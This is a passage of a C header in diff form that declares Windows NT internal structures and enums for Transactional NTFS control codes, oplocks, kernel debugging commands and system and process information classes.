ULONGLONG ArchiveTailLsn; + ULONGLONG LogContainerSize; + LARGE_INTEGER HighestVirtualClock; + ULONG LogContainerCount; + ULONG LogContainerCountMax; + ULONG LogContainerCountMin; + ULONG LogGrowthIncrement; + ULONG LogAutoShrinkPercentage; + ULONG Flags; + + // + // Exactly one of TXFS_LOGGING_MODE_SIMPLE or TXFS_LOGGING_MODE_FULL. + // + + USHORT LoggingMode; + + // + // Reserved. + // + + USHORT Reserved; + + // + // Activity state of the RM. May be exactly one of the above-defined TXF_RM_STATE_ values. + // + + ULONG RmState; + + // + // Total capacity of the log in bytes. + // + + ULONGLONG LogCapacity; + + // + // Amount of free space in the log in bytes. + // + + ULONGLONG LogFree; + + // + // Size of $Tops in bytes. + // + + ULONGLONG TopsSize; + + // + // Amount of space in $Tops in use. + // + + ULONGLONG TopsUsed; + + // + // Number of transactions active in the RM at the time of the call. + // + + ULONGLONG TransactionCount; + + // + // Total number of single-phase commits that have happened the RM. + // + + ULONGLONG OnePCCount; + + // + // Total number of two-phase commits that have happened the RM. + // + + ULONGLONG TwoPCCount; + + // + // Number of times the log has filled up. + // + + ULONGLONG NumberLogFileFull; + + // + // Age of oldest active transaction in the RM, in milliseconds. + // + + ULONGLONG OldestTransactionAge; + + GUID RMName; + + ULONG TmLogPathOffset; + +} TXFS_QUERY_RM_INFORMATION, + *PTXFS_QUERY_RM_INFORMATION; + +#define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN 0x01 +#define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK 0x02 + +#define TXFS_ROLLFORWARD_REDO_VALID_FLAGS \ + (TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN | \ + TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK) + +typedef struct _TXFS_ROLLFORWARD_REDO_INFORMATION { + LARGE_INTEGER LastVirtualClock; + ULONGLONG LastRedoLsn; + ULONGLONG HighestRecoveryLsn; + ULONG Flags; +} TXFS_ROLLFORWARD_REDO_INFORMATION, + *PTXFS_ROLLFORWARD_REDO_INFORMATION; + +#define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000001 +#define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN 0x00000002 +#define TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE 0x00000004 +#define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000008 +#define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000010 +#define TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000020 +#define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000040 +#define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN 0x00000080 + +#define TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT 0x00000200 +#define TXFS_START_RM_FLAG_LOGGING_MODE 0x00000400 +#define TXFS_START_RM_FLAG_PRESERVE_CHANGES 0x00000800 + +#define TXFS_START_RM_FLAG_PREFER_CONSISTENCY 0x00001000 +#define TXFS_START_RM_FLAG_PREFER_AVAILABILITY 0x00002000 + +#define TXFS_START_RM_VALID_FLAGS \ + (TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ + TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN | \ + TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE | \ + TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ + TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT | \ + TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_START_RM_FLAG_LOGGING_MODE | \ + TXFS_START_RM_FLAG_PRESERVE_CHANGES | \ + TXFS_START_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_START_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_START_RM_INFORMATION { + + // + // TXFS_START_RM_FLAG_* flags. + // + + ULONG Flags; + + // + // RM log container size, in bytes. This parameter is optional. + // + + ULONGLONG LogContainerSize; + + // + // RM minimum log container count. This parameter is optional. + // + + ULONG LogContainerCountMin; + + // + // RM maximum log container count. This parameter is optional. + // + + ULONG LogContainerCountMax; + + // + // RM log growth increment in number of containers or percent, as indicated + // by TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_* flag. This parameter is + // optional. + // + + ULONG LogGrowthIncrement; + + // + // RM log auto shrink percentage. This parameter is optional. + // + + ULONG LogAutoShrinkPercentage; + + // + // Offset from the beginning of this structure to the log path for the KTM + // instance to be used by this RM. This must be a two-byte (WCHAR) aligned + // value. This parameter is required. + // + + ULONG TmLogPathOffset; + + // + // Length in bytes of log path for the KTM instance to be used by this RM. + // This parameter is required. + // + + USHORT TmLogPathLength; + + // + // Logging mode for this RM. One of TXFS_LOGGING_MODE_SIMPLE or + // TXFS_LOGGING_MODE_FULL (mutually exclusive). This parameter is optional, + // and will default to TXFS_LOGGING_MODE_SIMPLE. + // + + USHORT LoggingMode; + + // + // Length in bytes of the path to the log to be used by the RM. This parameter + // is required. + // + + USHORT LogPathLength; + + // + // Reserved. + // + + USHORT Reserved; + + // + // The path to the log (in Unicode characters) to be used by the RM goes here. + // This parameter is required. + // + + WCHAR LogPath[1]; + +} TXFS_START_RM_INFORMATION, + *PTXFS_START_RM_INFORMATION; + +// +// Structures for FSCTL_TXFS_GET_METADATA_INFO +// + +typedef struct _TXFS_GET_METADATA_INFO_OUT { + + // + // Returns the TxfId of the file referenced by the handle used to call this routine. + // + + struct { + LONGLONG LowPart; + LONGLONG HighPart; + } TxfFileId; + + // + // The GUID of the transaction that has the file locked, if applicable. + // + + GUID LockingTransaction; + + // + // Returns the LSN for the most recent log record we've written for the file. + // + + ULONGLONG LastLsn; + + // + // Transaction state, a TXFS_TRANSACTION_STATE_* value. + // + + ULONG TransactionState; + +} TXFS_GET_METADATA_INFO_OUT, *PTXFS_GET_METADATA_INFO_OUT; + +#define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_CREATED 0x00000001 +#define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_DELETED 0x00000002 + +typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY { + + // + // Offset in bytes from the beginning of the TXFS_LIST_TRANSACTION_LOCKED_FILES + // structure to the next TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. + // + + ULONGLONG Offset; + + // + // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_* flags to indicate whether the + // current name was deleted or created in the transaction. + // + + ULONG NameFlags; + + // + // NTFS File ID of the file. + // + + LONGLONG FileId; + + // + // Reserved. + // + + ULONG Reserved1; + ULONG Reserved2; + LONGLONG Reserved3; + + // + // NULL-terminated Unicode path to this file, relative to RM root. + // + + WCHAR FileName[1]; +} TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY, *PTXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY; + + +typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES { + + // + // GUID name of the KTM transaction that files should be enumerated from. + // + + GUID KtmTransaction; + + // + // On output, the number of files involved in the transaction on this RM. + // + + ULONGLONG NumberOfFiles; + + // + // The length of the buffer required to obtain the complete list of files. + // This value may change from call to call as the transaction locks more files. + // + + ULONGLONG BufferSizeRequired; + + // + // Offset in bytes from the beginning of this structure to the first + // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. + // + + ULONGLONG Offset; +} TXFS_LIST_TRANSACTION_LOCKED_FILES, *PTXFS_LIST_TRANSACTION_LOCKED_FILES; + +// +// Structures for FSCTL_TXFS_LIST_TRANSACTIONS +// + +typedef struct _TXFS_LIST_TRANSACTIONS_ENTRY { + + // + // Transaction GUID. + // + + GUID TransactionId; + + // + // Transaction state, a TXFS_TRANSACTION_STATE_* value. + // + + ULONG TransactionState; + + // + // Reserved fields + // + + ULONG Reserved1; + ULONG Reserved2; + LONGLONG Reserved3; +} TXFS_LIST_TRANSACTIONS_ENTRY, *PTXFS_LIST_TRANSACTIONS_ENTRY; + +typedef struct _TXFS_LIST_TRANSACTIONS { + + // + // On output, the number of transactions involved in this RM. + // + + ULONGLONG NumberOfTransactions; + + // + // The length of the buffer required to obtain the complete list of + // transactions. Note that this value may change from call to call + // as transactions enter and exit the system. + // + + ULONGLONG BufferSizeRequired; +} TXFS_LIST_TRANSACTIONS, *PTXFS_LIST_TRANSACTIONS; + + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _TXFS_READ_BACKUP_INFORMATION_OUT { + union { + + // + // Used to return the required buffer size if return code is STATUS_BUFFER_OVERFLOW + // + + ULONG BufferLength; + + // + // On success the data is copied here. + // + + UCHAR Buffer[1]; + } DUMMYUNIONNAME; +} TXFS_READ_BACKUP_INFORMATION_OUT, *PTXFS_READ_BACKUP_INFORMATION_OUT; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) +#endif + +typedef struct _TXFS_WRITE_BACKUP_INFORMATION { + UCHAR Buffer[1]; +} TXFS_WRITE_BACKUP_INFORMATION, *PTXFS_WRITE_BACKUP_INFORMATION; + +#define TXFS_TRANSACTED_VERSION_NONTRANSACTED 0xFFFFFFFE +#define TXFS_TRANSACTED_VERSION_UNCOMMITTED 0xFFFFFFFF + +typedef struct _TXFS_GET_TRANSACTED_VERSION { + + // + // The version that this handle is opened to. This will be + // TXFS_TRANSACTED_VERSION_UNCOMMITTED for nontransacted and + // transactional writer handles. + // + + ULONG ThisBaseVersion; + + // + // The most recent committed version available. + // + + ULONG LatestVersion; + + // + // If this is a handle to a miniversion, the ID of the miniversion. + // If it is not a handle to a minivers, this field will be 0. + // + + USHORT ThisMiniVersion; + + // + // The first available miniversion. Unless the miniversions are + // visible to the transaction bound to this handle, this field will be zero. + // + + USHORT FirstMiniVersion; + + // + // The latest available miniversion. Unless the miniversions are + // visible to the transaction bound to this handle, this field will be zero. + // + + USHORT LatestMiniVersion; + +} TXFS_GET_TRANSACTED_VERSION, *PTXFS_GET_TRANSACTED_VERSION; + + +#define TXFS_SAVEPOINT_SET 0x00000001 + +// +// Roll back to a specified savepoint. +// + +#define TXFS_SAVEPOINT_ROLLBACK 0x00000002 + +// +// Clear (make unavailable for rollback) the most recently set savepoint +// that has not yet been cleared. +// + +#define TXFS_SAVEPOINT_CLEAR 0x00000004 + +// +// Clear all savepoints from the transaction. +// + +#define TXFS_SAVEPOINT_CLEAR_ALL 0x00000010 + +typedef struct _TXFS_SAVEPOINT_INFORMATION { + HANDLE KtmTransaction; + ULONG ActionCode; + ULONG SavepointId; +} TXFS_SAVEPOINT_INFORMATION, *PTXFS_SAVEPOINT_INFORMATION; + + +typedef struct _TXFS_CREATE_MINIVERSION_INFO { + + USHORT StructureVersion; + USHORT StructureLength; + ULONG BaseVersion; + USHORT MiniVersion; +} TXFS_CREATE_MINIVERSION_INFO, *PTXFS_CREATE_MINIVERSION_INFO; + + +typedef struct _TXFS_TRANSACTION_ACTIVE_INFO { + BOOLEAN TransactionsActiveAtSnapshot; + +} TXFS_TRANSACTION_ACTIVE_INFO, *PTXFS_TRANSACTION_ACTIVE_INFO; + +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) + +typedef struct _BOOT_AREA_INFO { + + ULONG BootSectorCount; // the count of boot sectors present on the file system + struct { + LARGE_INTEGER Offset; + } BootSectors[2]; // variable number of boot sectors. + +} BOOT_AREA_INFO, *PBOOT_AREA_INFO; + +typedef struct _RETRIEVAL_POINTER_BASE { + + LARGE_INTEGER FileAreaOffset; // sector offset to the first allocatable unit on the filesystem +} RETRIEVAL_POINTER_BASE, *PRETRIEVAL_POINTER_BASE; + +typedef struct _FILE_FS_PERSISTENT_VOLUME_INFORMATION { + + ULONG VolumeFlags; + ULONG FlagMask; + ULONG Version; + ULONG Reserved; + +} FILE_FS_PERSISTENT_VOLUME_INFORMATION, *PFILE_FS_PERSISTENT_VOLUME_INFORMATION; + +typedef struct _FILE_SYSTEM_RECOGNITION_INFORMATION { + + CHAR FileSystem[9]; + +} FILE_SYSTEM_RECOGNITION_INFORMATION, *PFILE_SYSTEM_RECOGNITION_INFORMATION; + +#define OPLOCK_LEVEL_CACHE_READ (0x00000001) +#define OPLOCK_LEVEL_CACHE_HANDLE (0x00000002) +#define OPLOCK_LEVEL_CACHE_WRITE (0x00000004) + +#define REQUEST_OPLOCK_INPUT_FLAG_REQUEST (0x00000001) +#define REQUEST_OPLOCK_INPUT_FLAG_ACK (0x00000002) +#define REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE (0x00000004) + +#define REQUEST_OPLOCK_CURRENT_VERSION 1 + +typedef struct _REQUEST_OPLOCK_INPUT_BUFFER { + + // + // This should be set to REQUEST_OPLOCK_CURRENT_VERSION. + // + + USHORT StructureVersion; + + USHORT StructureLength; + + // + // One or more OPLOCK_LEVEL_CACHE_* values to indicate the desired level of the oplock. + // + + ULONG RequestedOplockLevel; + + // + // REQUEST_OPLOCK_INPUT_FLAG_* flags. + // + + ULONG Flags; + +} REQUEST_OPLOCK_INPUT_BUFFER, *PREQUEST_OPLOCK_INPUT_BUFFER; + +#define REQUEST_OPLOCK_OUTPUT_FLAG_ACK_REQUIRED (0x00000001) +#define REQUEST_OPLOCK_OUTPUT_FLAG_MODES_PROVIDED (0x00000002) + +typedef struct _REQUEST_OPLOCK_OUTPUT_BUFFER { + + USHORT StructureVersion; + + USHORT StructureLength; + + ULONG OriginalOplockLevel; + + ULONG NewOplockLevel; + + ULONG Flags; + + ACCESS_MASK AccessMode; + + USHORT ShareMode; + +} REQUEST_OPLOCK_OUTPUT_BUFFER, *PREQUEST_OPLOCK_OUTPUT_BUFFER; + + +#define SD_GLOBAL_CHANGE_TYPE_MACHINE_SID 1 + +typedef struct _SD_CHANGE_MACHINE_SID_INPUT { + + USHORT CurrentMachineSIDOffset; + USHORT CurrentMachineSIDLength; + + USHORT NewMachineSIDOffset; + USHORT NewMachineSIDLength; + +} SD_CHANGE_MACHINE_SID_INPUT, *PSD_CHANGE_MACHINE_SID_INPUT; + +typedef struct _SD_CHANGE_MACHINE_SID_OUTPUT { + + // + // How many entries were successfully changed in the $Secure stream + // + + ULONGLONG NumSDChangedSuccess; + + // + // How many entires failed the update in the $Secure stream + // + + ULONGLONG NumSDChangedFail; + + // + // How many entires are unused in the current security stream + // + + ULONGLONG NumSDUnused; + + // + // The total number of entries processed in the $Secure stream + // + + ULONGLONG NumSDTotal; + + // + // How many entries were successfully changed in the $MFT file + // + + ULONGLONG NumMftSDChangedSuccess; + + // + // How many entries failed the update in the $MFT file + // + + ULONGLONG NumMftSDChangedFail; + + // + // Total number of entriess process in the $MFT file + // + + ULONGLONG NumMftSDTotal; + +} SD_CHANGE_MACHINE_SID_OUTPUT, *PSD_CHANGE_MACHINE_SID_OUTPUT; + +// +// Generic INPUT & OUTPUT structures for FSCTL_SD_GLOBAL_CHANGE +// + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _SD_GLOBAL_CHANGE_INPUT +{ + // + // Input flags (none currently defined) + // + + ULONG Flags; + + // + // Specifies which type of change we are doing and pics which member + // of the below union is in use. + // + + ULONG ChangeType; + + union { + + SD_CHANGE_MACHINE_SID_INPUT SdChange; + }; + +} SD_GLOBAL_CHANGE_INPUT, *PSD_GLOBAL_CHANGE_INPUT; + +typedef struct _SD_GLOBAL_CHANGE_OUTPUT +{ + + // + // Output State Flags (none currently defined) + // + + ULONG Flags; + + // + // Specifies which below union to use + // + + ULONG ChangeType; + + union { + + SD_CHANGE_MACHINE_SID_OUTPUT SdChange; + }; + +} SD_GLOBAL_CHANGE_OUTPUT, *PSD_GLOBAL_CHANGE_OUTPUT; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ +#endif + +// +// Flag to indicate the encrypted file is sparse +// + +#define ENCRYPTED_DATA_INFO_SPARSE_FILE 1 + +typedef struct _EXTENDED_ENCRYPTED_DATA_INFO { + + ULONG ExtendedCode; + ULONG Length; + ULONG Flags; + ULONG Reserved; + +} EXTENDED_ENCRYPTED_DATA_INFO, *PEXTENDED_ENCRYPTED_DATA_INFO; + + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_INPUT { + ULONG Flags; + ULONG NumberOfClusters; + LARGE_INTEGER Cluster[1]; +} LOOKUP_STREAM_FROM_CLUSTER_INPUT, *PLOOKUP_STREAM_FROM_CLUSTER_INPUT; + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_OUTPUT { + ULONG Offset; + ULONG NumberOfMatches; + ULONG BufferSizeRequired; +} LOOKUP_STREAM_FROM_CLUSTER_OUTPUT, *PLOOKUP_STREAM_FROM_CLUSTER_OUTPUT; + +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_PAGE_FILE 0x00000001 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_DENY_DEFRAG_SET 0x00000002 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_FS_SYSTEM_FILE 0x00000004 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_TXF_SYSTEM_FILE 0x00000008 + +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_MASK 0xff000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_DATA 0x01000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_INDEX 0x02000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_SYSTEM 0x03000000 + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_ENTRY { + ULONG OffsetToNext; + ULONG Flags; + LARGE_INTEGER Reserved; + LARGE_INTEGER Cluster; + WCHAR FileName[1]; +} LOOKUP_STREAM_FROM_CLUSTER_ENTRY, *PLOOKUP_STREAM_FROM_CLUSTER_ENTRY; + +typedef struct _FILE_TYPE_NOTIFICATION_INPUT { + + ULONG Flags; + ULONG NumFileTypeIDs; + GUID FileTypeID[1]; + +} FILE_TYPE_NOTIFICATION_INPUT, *PFILE_TYPE_NOTIFICATION_INPUT; + +#define FILE_TYPE_NOTIFICATION_FLAG_USAGE_BEGIN 0x00000001 //Set when adding the specified usage on the given file +#define FILE_TYPE_NOTIFICATION_FLAG_USAGE_END 0x00000002 //Set when removing the specified usage on the given file + +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_PAGE_FILE, 0x0d0a64a1, 0x38fc, 0x4db8, 0x9f, 0xe7, 0x3f, 0x43, 0x52, 0xcd, 0x7c, 0x5c ); +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_HIBERNATION_FILE, 0xb7624d64, 0xb9a3, 0x4cf8, 0x80, 0x11, 0x5b, 0x86, 0xc9, 0x40, 0xe7, 0xb7 ); +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_CRASHDUMP_FILE, 0x9d453eb7, 0xd2a6, 0x4dbd, 0xa2, 0xe3, 0xfb, 0xd0, 0xed, 0x91, 0x09, 0xa9 ); +#endif /* _WIN32_WINNT >= 0x0601 */ + +#endif // _FILESYSTEMFSCTL_ + +// 21.12.2011 - end + +// 09.06.2011 - end + +typedef enum _SYSDBG_COMMAND +{ + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid +} SYSDBG_COMMAND, *PSYSDBG_COMMAND; + +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; + +typedef struct _SYSDBG_PHYSICAL +{ + PHYSICAL_ADDRESS Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_PHYSICAL, *PSYSDBG_PHYSICAL; + +typedef struct _SYSDBG_CONTROL_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + ULONG Processor; +} SYSDBG_CONTROL_SPACE, *PSYSDBG_CONTROL_SPACE; + +typedef enum _INTERFACE_TYPE +{ + UnknownInterfaceType = 1 +} INTERFACE_TYPE ; + +typedef struct _SYSDBG_IO_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + enum _INTERFACE_TYPE InterfaceType; + ULONG BusNumber; + ULONG AddressSpace; +} SYSDBG_IO_SPACE, *PSYSDBG_IO_SPACE; + +typedef struct _SYSDBG_MSR +{ + ULONG Msr; + ULONG64 Data; +} SYSDBG_MSR, *PSYSDBG_MSR; + +typedef enum _BUS_DATA_TYPE +{ + ConfigurationSpaceUndefined = -1, + Cmos, + EisaConfiguration, + Pos, + CbusConfiguration, + PCIConfiguration, + VMEConfiguration, + NuBusConfiguration, + PCMCIAConfiguration, + MPIConfiguration, + MPSAConfiguration, + PNPISAConfiguration, + SgiInternalConfiguration, + MaximumBusDataType +} BUS_DATA_TYPE, *PBUS_DATA_TYPE; + +typedef struct _SYSDBG_BUS_DATA +{ + ULONG Address; + PVOID Buffer; + ULONG Request; + enum _BUS_DATA_TYPE BusDataType; + ULONG BusNumber; + ULONG SlotNumber; +} SYSDBG_BUS_DATA, *PSYSDBG_BUS_DATA; + +typedef struct _SYSDBG_TRIAGE_DUMP +{ + ULONG Flags; + ULONG BugCheckCode; + ULONG_PTR BugCheckParam1; + ULONG_PTR BugCheckParam2; + ULONG_PTR BugCheckParam3; + ULONG_PTR BugCheckParam4; + ULONG ProcessHandles; + ULONG ThreadHandles; + PHANDLE Handles; +} SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP; + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemMirrorMemoryInformation, + SystemPerformanceTraceInformation, + SystemObsolete0, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemVerifierAddDriverInformation, + SystemVerifierRemoveDriverInformation, + SystemProcessorIdleInformation, + SystemLegacyDriverInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation, + SystemTimeSlipNotification, + SystemSessionCreate, + SystemSessionDetach, + SystemSessionInformation, + SystemRangeStartInformation, + SystemVerifierInformation, + SystemVerifierThunkExtend, + SystemSessionProcessInformation, + SystemLoadGdiDriverInSystemSpace, + SystemNumaProcessorMap, + SystemPrefetcherInformation, + SystemExtendedProcessInformation, + SystemRecommendedSharedDataAlignment, + SystemComPlusPackage, + SystemNumaAvailableMemory, + SystemProcessorPowerInformation, + SystemEmulationBasicInformation, // WOW64 + SystemEmulationProcessorInformation, // WOW64 + SystemExtendedHandleInformation, + SystemLostDelayedWriteInformation, + SystemBigPoolInformation, + SystemSessionPoolTagInformation, + SystemSessionMappedViewInformation, + SystemHotpatchInformation, + SystemObjectSecurityMode, + SystemWatchdogTimerHandler, + SystemWatchdogTimerInformation, + SystemLogicalProcessorInformation, + SystemWow64SharedInformation, + SystemRegisterFirmwareTableInformationHandler, + SystemFirmwareTableInformation, + SystemModuleInformationEx, + SystemVerifierTriageInformation, + SystemSuperfetchInformation, + SystemMemoryListInformation, + SystemFileCacheInformationEx, + SystemThreadPriorityClientIdInformation, + SystemProcessorIdleCycleTimeInformation, + SystemVerifierCancellationInformation, + SystemProcessorPowerInformationEx, + SystemRefTraceInformation, + SystemSpecialPoolInformation, + SystemProcessIdInformation, + SystemErrorPortInformation, + SystemBootEnvironmentInformation, + SystemHypervisorInformation, + SystemVerifierInformationEx, + SystemTimeZoneInformation, + SystemImageFileExecutionOptionsInformation, + SystemCoverageInformation, + SystemPrefetchPatchInformation, + SystemVerifierFaultsInformation, + SystemSystemPartitionInformation, + SystemSystemDiskInformation, + SystemProcessorPerformanceDistribution, + SystemNumaProximityNodeInformation, + SystemDynamicTimeZoneInformation, + SystemCodeIntegrityInformation, + SystemProcessorMicrocodeUpdateInformation, + SystemProcessorBrandString, + SystemVirtualAddressInformation, + MaxSystemInfoClass +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef enum _EVENT_TRACE_INFORMATION_CLASS +{ + EventTraceKernelVersionInformation, + EventTraceGroupMaskInformation, + EventTracePerformanceInformation, + EventTraceTimeProfileInformation, + EventTraceSessionSecurityInformation, + MaxEventTraceInfoClass +} EVENT_TRACE_INFORMATION_CLASS, *PEVENT_TRACE_INFORMATION_CLASS; + +#define LOCK_QUEUE_WAIT 1 +#define LOCK_QUEUE_WAIT_BIT 0 + +#define LOCK_QUEUE_OWNER 2 +#define LOCK_QUEUE_OWNER_BIT 1 + +#define LOCK_QUEUE_TIMER_LOCK_SHIFT 4 +#define LOCK_QUEUE_TIMER_TABLE_LOCKS (1 << (8 - LOCK_QUEUE_TIMER_LOCK_SHIFT)) + +typedef enum _KSPIN_LOCK_QUEUE_NUMBER { + LockQueueDispatcherLock, + LockQueueUnusedSpare1, + LockQueuePfnLock, + LockQueueSystemSpaceLock, + LockQueueVacbLock, + LockQueueMasterLock, + LockQueueNonPagedPoolLock, + LockQueueIoCancelLock, + LockQueueWorkQueueLock, + LockQueueIoVpbLock, + LockQueueIoDatabaseLock, + LockQueueIoCompletionLock, + LockQueueNtfsStructLock, + LockQueueAfdWorkQueueLock, + LockQueueBcbLock, + LockQueueMmNonPagedPoolLock, + LockQueueUnusedSpare16, + LockQueueTimerTableLock, + LockQueueMaximumLock = LockQueueTimerTableLock + LOCK_QUEUE_TIMER_TABLE_LOCKS +} KSPIN_LOCK_QUEUE_NUMBER, *PKSPIN_LOCK_QUEUE_NUMBER; + +typedef enum _KPROFILE_SOURCE { + ProfileTime, + ProfileAlignmentFixup, + ProfileTotalIssues, + ProfilePipelineDry, + ProfileLoadInstructions, + ProfilePipelineFrozen, + ProfileBranchInstructions, + ProfileTotalNonissues, + ProfileDcacheMisses, + ProfileIcacheMisses, + ProfileCacheMisses, + ProfileBranchMispredictions, + ProfileStoreInstructions, + ProfileFpInstructions, + ProfileIntegerInstructions, + Profile2Issue, + Profile3Issue, + Profile4Issue, + ProfileSpecialInstructions, + ProfileTotalCycles, + ProfileIcacheIssues, + ProfileDcacheAccesses, + ProfileMemoryBarrierCycles, + ProfileLoadLinkedIssues, + ProfileMaximum +} KPROFILE_SOURCE; + +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + 